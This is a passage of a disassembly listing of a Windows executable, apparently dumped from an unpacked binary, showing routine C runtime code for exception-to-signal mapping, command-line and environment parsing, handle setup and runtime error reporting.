		dec	edx
		jnz	short loc_422D65


loc_422D6E:				; CODE XREF: ___:00422D57j
		mov	eax, [eax]
		mov	esi, dword_43D02C
		cmp	eax, 0C000008Eh
		jnz	short loc_422D89
		mov	dword_43D02C, 83h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422D89:				; CODE XREF: ___:00422D7Bj
		cmp	eax, 0C0000090h
		jnz	short loc_422D9C
		mov	dword_43D02C, 81h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422D9C:				; CODE XREF: ___:00422D8Ej
		cmp	eax, 0C0000091h
		jnz	short loc_422DAF
		mov	dword_43D02C, 84h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DAF:				; CODE XREF: ___:00422DA1j
		cmp	eax, 0C0000093h
		jnz	short loc_422DC2
		mov	dword_43D02C, 85h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DC2:				; CODE XREF: ___:00422DB4j
		cmp	eax, 0C000008Dh
		jnz	short loc_422DD5
		mov	dword_43D02C, 82h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DD5:				; CODE XREF: ___:00422DC7j
		cmp	eax, 0C000008Fh
		jnz	short loc_422DE8
		mov	dword_43D02C, 86h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DE8:				; CODE XREF: ___:00422DDAj
		cmp	eax, 0C0000092h
		jnz	short loc_422DF9
		mov	dword_43D02C, 8Ah


loc_422DF9:				; CODE XREF: ___:00422D87j
					; ___:00422D9Aj ...
		push	dword_43D02C
		push	8
		call	ebx
		pop	ecx
		mov	dword_43D02C, esi
		pop	ecx
		pop	esi
		jmp	short loc_422E16
; ---------------------------------------------------------------------------


loc_422E0E:				; CODE XREF: ___:00422D40j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_422E16:				; CODE XREF: ___:00422E0Cj
		mov	eax, [ebp+8]
		mov	dword_4DBA30, eax


loc_422E1E:				; CODE XREF: ___:00422D22j
		or	eax, 0FFFFFFFFh
		jmp	short loc_422E2C
; ---------------------------------------------------------------------------


loc_422E23:				; CODE XREF: ___:00422CFDj
					; ___:00422D08j
		push	dword ptr [ebp+0Ch]
		call	near ptr 26307C9h
		nop


loc_422E2C:				; CODE XREF: ___:00422D1Aj
					; ___:00422E21j
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_422E2F	proc near		; CODE XREF: ___:00422CF5p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D028
		cmp	dword_43CFA8, edx
		push	esi
		mov	eax, offset dword_43CFA8
		jz	short loc_422E5C
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43CFA8h[esi*4]


loc_422E51:				; CODE XREF: sub_422E2F+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_422E5C
		cmp	[eax], edx
		jnz	short loc_422E51


loc_422E5C:				; CODE XREF: sub_422E2F+16j
					; sub_422E2F+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43CFA8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_422E6F
		cmp	[eax], edx
		jz	short locret_422E71


loc_422E6F:				; CODE XREF: sub_422E2F+3Aj
		xor	eax, eax

locret_422E71:				; CODE XREF: sub_422E2F+3Ej
		retn
sub_422E2F	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DCFF4, 0
		jnz	short loc_422E80
		call	sub_42026D


loc_422E80:				; CODE XREF: ___:00422E79j
		push	esi
		mov	esi, dword_4DCFEC
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_422EB2


loc_422E8D:				; CODE XREF: ___:00422EA5j
					; ___:00422EA8j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_422EAA
		test	al, al
		jz	short loc_422EAA
		movzx	eax, al
		push	eax
		call	sub_424D36
		test	eax, eax
		pop	ecx
		jz	short loc_422E8D
		inc	esi
		jmp	short loc_422E8D
; ---------------------------------------------------------------------------


loc_422EAA:				; CODE XREF: ___:00422E93j
					; ___:00422E97j
		cmp	byte ptr [esi],	22h
		jnz	short loc_422EBC


loc_422EAF:				; CODE XREF: ___:00422EC4j
		inc	esi
		jmp	short loc_422EBC
; ---------------------------------------------------------------------------


loc_422EB2:				; CODE XREF: ___:00422E8Bj
		cmp	al, 20h
		jbe	short loc_422EBC


loc_422EB6:				; CODE XREF: ___:00422EBAj
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_422EB6


loc_422EBC:				; CODE XREF: ___:00422EADj
					; ___:00422EB0j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_422EC6
		cmp	al, 20h
		jbe	short loc_422EAF


loc_422EC6:				; CODE XREF: ___:00422EC0j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DCFF4, ebx
		push	esi
		push	edi
		jnz	short loc_422EDC
		call	sub_42026D


loc_422EDC:				; CODE XREF: ___:00422ED5j
		mov	esi, dword_4DB9C8
		xor	edi, edi


loc_422EE4:				; CODE XREF: ___:00422EFAj
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_422EFC
		cmp	al, 3Dh
		jz	short loc_422EEF
		inc	edi


loc_422EEF:				; CODE XREF: ___:00422EECj
		push	esi
		call	sub_41AFE0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_422EE4
; ---------------------------------------------------------------------------


loc_422EFC:				; CODE XREF: ___:00422EE8j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DB980, esi
		jnz	short loc_422F1E
		push	9
		call	sub_41DA29
		pop	ecx


loc_422F1E:				; CODE XREF: ___:00422F14j
		mov	edi, dword_4DB9C8
		cmp	[edi], bl
		jz	short loc_422F61
		push	ebp


loc_422F29:				; CODE XREF: ___:00422F5Ej
		push	edi
		call	sub_41AFE0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_422F5A
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_422F4D
		push	9
		call	sub_41DA29
		pop	ecx


loc_422F4D:				; CODE XREF: ___:00422F43j
		push	edi
		push	dword ptr [esi]
		call	sub_41BEB0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_422F5A:				; CODE XREF: ___:00422F36j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_422F29
		pop	ebp


loc_422F61:				; CODE XREF: ___:00422F26j
		push	dword_4DB9C8
		call	sub_41B0B1
		pop	ecx
		mov	dword_4DB9C8, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DCFF0, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DCFF4, ebx
		push	esi
		push	edi
		jnz	short loc_422F9A
		call	sub_42026D


loc_422F9A:				; CODE XREF: ___:00422F93j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2660000h
		mov	eax, dword_4DCFEC
		mov	off_4DB990, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_422FBF
		mov	edi, eax


loc_422FBF:				; CODE XREF: ___:00422FBBj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_42301C
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_422FEF
		push	8
		call	sub_41DA29
		pop	ecx


loc_422FEF:				; CODE XREF: ___:00422FE5j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_42301C
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4DB978, esi
		pop	edi
		pop	esi
		mov	dword_4DB974, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42301C	proc near		; CODE XREF: ___:00422FCAp
					; ___:00423000p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_423046
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423046:				; CODE XREF: sub_42301C+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42308F


loc_42304B:				; CODE XREF: sub_42301C+58j
					; sub_42301C+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_42307D
		test	dl, dl
		jz	short loc_42307D
		movzx	edx, dl
		test	byte_4DCEC1[edx], 4
		jz	short loc_423070
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423070
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_423070:				; CODE XREF: sub_42301C+46j
					; sub_42301C+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42304B
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_42304B
; ---------------------------------------------------------------------------


loc_42307D:				; CODE XREF: sub_42301C+36j
					; sub_42301C+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423087
		and	byte ptr [esi],	0
		inc	esi


loc_423087:				; CODE XREF: sub_42301C+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4230D2
		inc	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------


loc_42308F:				; CODE XREF: sub_42301C+2Dj
					; sub_42301C+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42309A
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_42309A:				; CODE XREF: sub_42301C+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DCEC1[ebx], 4
		jz	short loc_4230B5
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4230B4
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_4230B4:				; CODE XREF: sub_42301C+91j
		inc	eax


loc_4230B5:				; CODE XREF: sub_42301C+8Bj
		cmp	dl, 20h
		jz	short loc_4230C3
		test	dl, dl
		jz	short loc_4230C7
		cmp	dl, 9
		jnz	short loc_42308F


loc_4230C3:				; CODE XREF: sub_42301C+9Cj
		test	dl, dl
		jnz	short loc_4230CA


loc_4230C7:				; CODE XREF: sub_42301C+A0j
		dec	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------


loc_4230CA:				; CODE XREF: sub_42301C+A9j
		test	esi, esi
		jz	short loc_4230D2
		and	byte ptr [esi-1], 0


loc_4230D2:				; CODE XREF: sub_42301C+6Ej
					; sub_42301C+71j ...
		and	[ebp+arg_10], 0


loc_4230D6:				; CODE XREF: sub_42301C+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4231BF


loc_4230DF:				; CODE XREF: sub_42301C+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4230EB
		cmp	dl, 9
		jnz	short loc_4230EE


loc_4230EB:				; CODE XREF: sub_42301C+C8j
		inc	eax
		jmp	short loc_4230DF
; ---------------------------------------------------------------------------


loc_4230EE:				; CODE XREF: sub_42301C+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4231BF
		test	edi, edi
		jz	short loc_423103
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423103:				; CODE XREF: sub_42301C+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_423108:				; CODE XREF: sub_42301C+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_423111:				; CODE XREF: sub_42301C+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_42311A
		inc	eax
		inc	ebx
		jmp	short loc_423111
; ---------------------------------------------------------------------------


loc_42311A:				; CODE XREF: sub_42301C+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42314B
		test	bl, 1
		jnz	short loc_423149
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423138
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423138
		mov	eax, edx
		jmp	short loc_42313B
; ---------------------------------------------------------------------------


loc_423138:				; CODE XREF: sub_42301C+10Dj
					; sub_42301C+116j
		mov	[ebp+arg_0], edi


loc_42313B:				; CODE XREF: sub_42301C+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_423149:				; CODE XREF: sub_42301C+106j
		shr	ebx, 1


loc_42314B:				; CODE XREF: sub_42301C+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423160
		inc	ebx


loc_423153:				; CODE XREF: sub_42301C+142j
		test	esi, esi
		jz	short loc_42315B
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_42315B:				; CODE XREF: sub_42301C+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_423153


loc_423160:				; CODE XREF: sub_42301C+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4231B0
		cmp	[ebp+arg_10], 0
		jnz	short loc_423176
		cmp	dl, 20h
		jz	short loc_4231B0
		cmp	dl, 9
		jz	short loc_4231B0


loc_423176:				; CODE XREF: sub_42301C+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4231AA
		test	esi, esi
		jz	short loc_423199
		movzx	ebx, dl
		test	byte_4DCEC1[ebx], 4
		jz	short loc_423192
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_423192:				; CODE XREF: sub_42301C+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4231A8
; ---------------------------------------------------------------------------


loc_423199:				; CODE XREF: sub_42301C+162j
		movzx	edx, dl
		test	byte_4DCEC1[edx], 4
		jz	short loc_4231A8
		inc	eax
		inc	dword ptr [ecx]


loc_4231A8:				; CODE XREF: sub_42301C+17Bj
					; sub_42301C+187j
		inc	dword ptr [ecx]


loc_4231AA:				; CODE XREF: sub_42301C+15Ej
		inc	eax
		jmp	loc_423108
; ---------------------------------------------------------------------------


loc_4231B0:				; CODE XREF: sub_42301C+148j
					; sub_42301C+153j ...
		test	esi, esi
		jz	short loc_4231B8
		and	byte ptr [esi],	0
		inc	esi


loc_4231B8:				; CODE XREF: sub_42301C+196j
		inc	dword ptr [ecx]
		jmp	loc_4230D6
; ---------------------------------------------------------------------------


loc_4231BF:				; CODE XREF: sub_42301C+BDj
					; sub_42301C+D5j
		test	edi, edi
		jz	short loc_4231C6
		and	dword ptr [edi], 0


loc_4231C6:				; CODE XREF: sub_42301C+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_42301C	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4DBB38
		push	ebx
		push	ebp
		mov	ebp, dword_42703C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_42321E
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4231FF
		mov	dword_4DBB38, 1
		jmp	short loc_423227
; ---------------------------------------------------------------------------


loc_4231FF:				; CODE XREF: ___:004231F1j
		call	near ptr 2630357h
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4232F9
		mov	dword_4DBB38, 2
		jmp	loc_4232AD
; ---------------------------------------------------------------------------


loc_42321E:				; CODE XREF: ___:004231E9j
		cmp	eax, 1
		jnz	loc_4232A8


loc_423227:				; CODE XREF: ___:004231FDj
		cmp	esi, ebx
		jnz	short loc_423237
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4232F9


loc_423237:				; CODE XREF: ___:00423229j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_42324C


loc_42323E:				; CODE XREF: ___:00423243j
					; ___:0042324Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E


loc_42324C:				; CODE XREF: ___:0042323Cj
		sub	eax, esi
		mov	edi, dword_42717C
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_42329D
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_42329D
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423299
		push	dword ptr [esp+10h]
		call	sub_41B0B1
		pop	ecx
		mov	[esp+10h], ebx


loc_423299:				; CODE XREF: ___:00423289j
		mov	ebx, [esp+10h]


loc_42329D:				; CODE XREF: ___:00423269j
					; ___:00423278j
		push	esi
		nop
		call	near ptr 2630603h
		mov	eax, ebx
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------


loc_4232A8:				; CODE XREF: ___:00423221j
		cmp	eax, 2
		jnz	short loc_4232F9


loc_4232AD:				; CODE XREF: ___:00423219j
		cmp	edi, ebx
		jnz	short loc_4232BD
		nop
		call	near ptr 2630357h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4232F9


loc_4232BD:				; CODE XREF: ___:004232AFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4232CD


loc_4232C3:				; CODE XREF: ___:004232C6j
					; ___:004232CBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3


loc_4232CD:				; CODE XREF: ___:004232C1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4232E3
		xor	esi, esi
		jmp	short loc_4232EE
; ---------------------------------------------------------------------------


loc_4232E3:				; CODE XREF: ___:004232DDj
		push	ebp
		push	edi
		push	esi
		call	sub_41C310
		add	esp, 0Ch


loc_4232EE:				; CODE XREF: ___:004232E1j
		push	edi
		nop
		call	near ptr 2630672h
		mov	eax, esi
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------


loc_4232F9:				; CODE XREF: ___:00423209j
					; ___:00423231j ...
		xor	eax, eax


loc_4232FB:				; CODE XREF: ___:004232A6j
					; ___:004232F7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423322
		push	1Bh
		call	sub_41DA29
		pop	ecx


loc_423322:				; CODE XREF: ___:00423318j
		mov	dword_4DCCA0, esi
		mov	dword_4DCDA0, 20h
		lea	eax, [esi+100h]


loc_423338:				; CODE XREF: ___:00423354j
		cmp	esi, eax
		jnb	short loc_423356
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DCCA0
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423338
; ---------------------------------------------------------------------------


loc_423356:				; CODE XREF: ___:0042333Aj
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 2870000h
		cmp	word ptr [esp+42h], 0
		jz	loc_423432
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423432
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_42338C
		mov	esi, eax


loc_42338C:				; CODE XREF: ___:00423388j
		cmp	dword_4DCDA0, esi
		jge	short loc_4233E6
		mov	edi, offset dword_4DCCA4


loc_423399:				; CODE XREF: ___:004233DCj
		push	100h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4233E0
		add	dword_4DCDA0, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_4233B7:				; CODE XREF: ___:004233D1j
		cmp	eax, ecx
		jnb	short loc_4233D3
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_4233B7
; ---------------------------------------------------------------------------


loc_4233D3:				; CODE XREF: ___:004233B9j
		add	edi, 4
		cmp	dword_4DCDA0, esi
		jl	short loc_423399
		jmp	short loc_4233E6
; ---------------------------------------------------------------------------


loc_4233E0:				; CODE XREF: ___:004233A6j
		mov	esi, dword_4DCDA0


loc_4233E6:				; CODE XREF: ___:00423392j
					; ___:004233DEj
		xor	edi, edi
		test	esi, esi
		jle	short loc_423432


loc_4233EC:				; CODE XREF: ___:00423430j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423429
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423429
		test	cl, 8
		jnz	short loc_42340B
		push	eax
		nop
		call	near ptr 26205F2h
		test	eax, eax
		jz	short loc_423429


loc_42340B:				; CODE XREF: ___:004233FEj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DCCA0[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_423429:				; CODE XREF: ___:004233F1j
					; ___:004233F9j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_4233EC


loc_423432:				; CODE XREF: ___:00423367j
					; ___:00423373j ...
		xor	ebx, ebx


loc_423434:				; CODE XREF: ___:00423497j
		mov	eax, dword_4DCCA0
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_42348F
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_42344F
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423459
; ---------------------------------------------------------------------------


loc_42344F:				; CODE XREF: ___:00423448j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_423459:				; CODE XREF: ___:0042344Dj
		push	eax
		nop
		call	near ptr 2630000h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42347E
		push	edi
		nop
		call	near ptr 26205F2h
		test	eax, eax
		jz	short loc_42347E
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423484


loc_42347E:				; CODE XREF: ___:00423465j
					; ___:00423470j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423493
; ---------------------------------------------------------------------------


loc_423484:				; CODE XREF: ___:0042347Cj
		cmp	eax, 3
		jnz	short loc_423493
		or	byte ptr [esi+4], 8
		jmp	short loc_423493
; ---------------------------------------------------------------------------


loc_42348F:				; CODE XREF: ___:00423440j
		or	byte ptr [esi+4], 80h


loc_423493:				; CODE XREF: ___:00423482j
					; ___:00423487j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423434
		push	dword_4DCDA0
		nop
		call	near ptr 2630263h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234B8	proc near		; DATA XREF: sub_42205D+Ao
					; sub_42218C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423558
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_4234EB:				; CODE XREF: sub_4234B8+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423551
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_42353F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_42353F
		js	short loc_42354A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41CB74
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41CC4A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_42353F:				; CODE XREF: sub_4234B8+40j
					; sub_4234B8+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4234EB
; ---------------------------------------------------------------------------


loc_42354A:				; CODE XREF: sub_4234B8+54j
		mov	eax, 0
		jmp	short loc_42356D
; ---------------------------------------------------------------------------


loc_423551:				; CODE XREF: sub_4234B8+36j
		mov	eax, 1
		jmp	short loc_42356D
; ---------------------------------------------------------------------------


loc_423558:				; CODE XREF: sub_4234B8+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_42356D:				; CODE XREF: sub_4234B8+97j
					; sub_4234B8+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4234B8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423590	proc near		; CODE XREF: sub_41DA29+9p
		mov	eax, dword_4DB9D0
		cmp	eax, 1
		jz	short loc_4235A7
		test	eax, eax
		jnz	short locret_4235C8
		cmp	dword_43A9A4, 1
		jnz	short locret_4235C8


loc_4235A7:				; CODE XREF: sub_423590+8j
		push	0FCh
		call	sub_4235C9
		mov	eax, dword_4DBB3C
		pop	ecx
		test	eax, eax
		jz	short loc_4235BD
		call	eax


loc_4235BD:				; CODE XREF: sub_423590+29j
		push	0FFh
		call	sub_4235C9
		pop	ecx

locret_4235C8:				; CODE XREF: sub_423590+Cj
					; sub_423590+15j
		retn
sub_423590	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4235C9	proc near		; CODE XREF: sub_41DA29+12p
					; sub_423590+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43D038


loc_4235DC:				; CODE XREF: sub_4235C9+20j
		cmp	edx, [eax]
		jz	short loc_4235EB
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43D0C8
		jl	short loc_4235DC


loc_4235EB:				; CODE XREF: sub_4235C9+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43D038[esi]
		jnz	loc_423719
		mov	eax, dword_4DB9D0
		cmp	eax, 1
		jz	loc_4236F3
		test	eax, eax
		jnz	short loc_42361C
		cmp	dword_43A9A4, 1
		jz	loc_4236F3


loc_42361C:				; CODE XREF: sub_4235C9+44j
		cmp	edx, 0FCh
		jz	loc_423719
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2660000h
		test	eax, eax
		jnz	short loc_423653
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_423653:				; CODE XREF: sub_4235C9+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41AFE0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423696
